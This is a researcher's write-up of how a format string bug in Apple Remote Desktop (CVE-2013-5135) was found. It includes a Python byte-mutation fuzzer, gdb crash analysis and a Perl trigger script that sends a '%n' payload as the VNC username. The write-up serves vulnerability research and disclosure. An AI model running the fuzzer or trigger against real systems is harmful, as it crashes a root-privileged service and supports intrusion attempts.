How did I find the Apple Remote Desktop bug? - CVE-2013-5135
Inspired by the Windows Remote Dektop bug (CVE-2012-0002) I created a simple network protocol fuzzer. This is a dumb fuzzer that only changes every single byte value from 0 to 255:
#!/usr/bin/python
import socket
import time
import struct
import string
import sys
init1 = (
"Sniffed network connection part 1"
)
init2 = (
"Sniffed network connection part 2"
)
init3= (
"Sniffed network connection part 3"
)
act = init3
print len(act)
for i in range(int(sys.argv[1]),len(act)):
for j in range(0,256):
try:
hexa = string.atol(str(j))
buffer = struct.pack('<B',hexa)
x = act[:i]+buffer+act[(i+len(buffer)):]
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('192.168.1.4',5900)) # hardcoded IP address
print str(i) + " " + str(j)
s.send(init1) # send the data
data = s.recv(1024)
s.send(init2) # send the data
data = s.recv(1024)
s.send(x) # send the data
data = s.recv(1024)
s.close()
time.sleep(1)
except:
j = j - 1
This approach may look especially dumb, since the Apple VNC protocol is encrypted and the changes made by the fuzzer on the bytes of the ciphertext would result in a disaster in the decrypted plaintext, but eventually this technique led to the discovery of the vulnerability. I ran this fuzzer and watched the log and the Crashreporter files. The /var/log/secure.log file contained the following lines:
Jan 14 14:52:14 computer screensharingd[26350]: Authentication: FAILED :: User Name: m?>H?iYiH3`'??
The /Library/Log/DiagnosticsReports/ directory also contained a lot of crash files. This meant two things: I found some interesting bug right now and the screensharingd runs with root permissions (the directory above is for the crash files of the privileged processes). The Crashwrangler said this is an unexploitable crash but I don’t trust this tool blindly ;)
Let’s look at the crash in the debugger:
bash-3.2# while true;do for i in $( ps aux | grep -i screensharingd | grep -v grep | awk '{print $2}');do gdb --pid=$i;done;done<br />
GNU gdb 6.3.50-20050815 (Apple version gdb-1822) (Sun Aug 5 03:00:42 UTC 2012)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "x86_64-apple-darwin".No symbol table is loaded. Use the "file" command.
/Users/depth/.gdbinit:2: Error in sourced command file:
No breakpoint number 1.
/Users/depth/30632: No such file or directory
Attaching to process 30632.
Reading symbols for shared libraries . done
Reading symbols for shared libraries .......................................................................................................................................... done
Reading symbols for shared libraries + done
0x00007fff89e8e67a in mach_msg_trap ()
(gdb) set follow-fork-mode child
(gdb) c
Continuing.
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x0000000000000002
[Switching to process 30632 thread 0x2b03]
0x00007fff8e2a0321 in __vfprintf ()
(gdb) i reg
rax 0x2 2
rbx 0x10778ba5c 4420319836
rcx 0x37 55
rdx 0x10778a810 4420315152
rsi 0x7f9a22b00000 140299983650816
rdi 0x106926400 4405224448
rbp 0x10778aa40 0x10778aa40
rsp 0x10778a610 0x10778a610
r8 0x106926400 4405224448
r9 0x62 98
r10 0x1224892248900008 1307320572183576584
r11 0x10778aaa8 4420315816
r12 0xb 11
r13 0x38 56
r14 0x0 0
r15 0x6e 110
rip 0x7fff8e2a0321 0x7fff8e2a0321 <__vfprintf+3262>
eflags 0x10246 66118
cs 0x2b 43
ss 0x0 0
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) x/s $rbx
0x10778ba5c: " :: Viewer Address: 172.16.29.147 :: Type: DH"
This is very interresting. I assumed “*printf” error meant a common buffer overflow or a format string attack. Let’s see the problematic function:
(gdb) bt
#0 0x00007fff8e2a0321 in __vfprintf ()
#1 0x00007fff8e2ea270 in vasprintf_l ()
#2 0x00007fff8e2d9429 in asl_vlog ()
#3 0x00007fff8e27f7d4 in vsyslog ()
#4 0x00007fff8e27f879 in syslog () # Vulnerability here!
#5 0x00000001075484df in _mh_execute_header ()
#6 0x0000000107521892 in _mh_execute_header ()
#7 0x0000000107532657 in _mh_execute_header ()
#8 0x000000010752d7c1 in _mh_execute_header ()
#9 0x00007fff87c46ce6 in PrivateMPEntryPoint ()
#10 0x00007fff8e2ab8bf in _pthread_start ()
#11 0x00007fff8e2aeb75 in thread_start ()
I fired up IDA Pro and looked for the invalid authentication chain of the screensharingd binary. First I searched for the “FAILED” keyword in order to find the subroutine of interest:
But it turns out that he “Authentication FAILED” string leads us to the interesting part of code:
This string is referenced by the sub_1000322a8 function:
I followed the cross reference to the “Authentication : FAILED” string:
Yes, here is the critical part of the binary (DH authentication is the current one based on the secure.log file):
The subroutine creates the syslog message properly with format strings but before calling the syslog() function it does not sanitize the username field and the attacker can perform a format string attack. The easiest way to check this assumption is to try to authenticate using the RDP client:
And check the secure.log file:
Great! :) This is a format string vulnerability in Apple Remote Desktop protocol. I spent a few days to investigate the vulnerability and write a working exploit with no success. The problems are:
- null bytes in the memory addresses (64 bit architecture)
- relative small buffer space (~2*64 bytes)
- non executable stack
If you have any ideas on the exploitation of the issue, do not hesitate share them with me! To help you get started I wrote a simple trigger script:
#!/usr/bin/perl
#
# For ARD (Apple Remote Desktop) authentication you must also specify a username.
# You must also install Crypt::GCrypt::MPI and Crypt::Random
# CVE: CVE-2013-5135
# Software: Apple Remote Desktop
# Vulnerable version: < 3.7
use Net::VNC;
$target = "192.168.1.4";
$password = "B"x64; #max 64
$a = "A"x32; # max 64
$payload = $a."%28\$n"; # CrashWrangler output-> is_exploitable=yes:instruction_disassembly=mov %ecx,(%rax):instruction_address=0x00007fff8e2a0321:access_type=write
print "Apple VNC Server @ $target\n";
print "Check the /var/log/secure.log file ;) \n";
$vnc = Net::VNC->new({hostname => $target, username => $payload, password => $password});
$vnc->login;
This was the whole story of CVE-2013-5135 from the beginning of 2013. Every bug hunting approach may be good way, so try something different than everybody else. Happy bug hunting!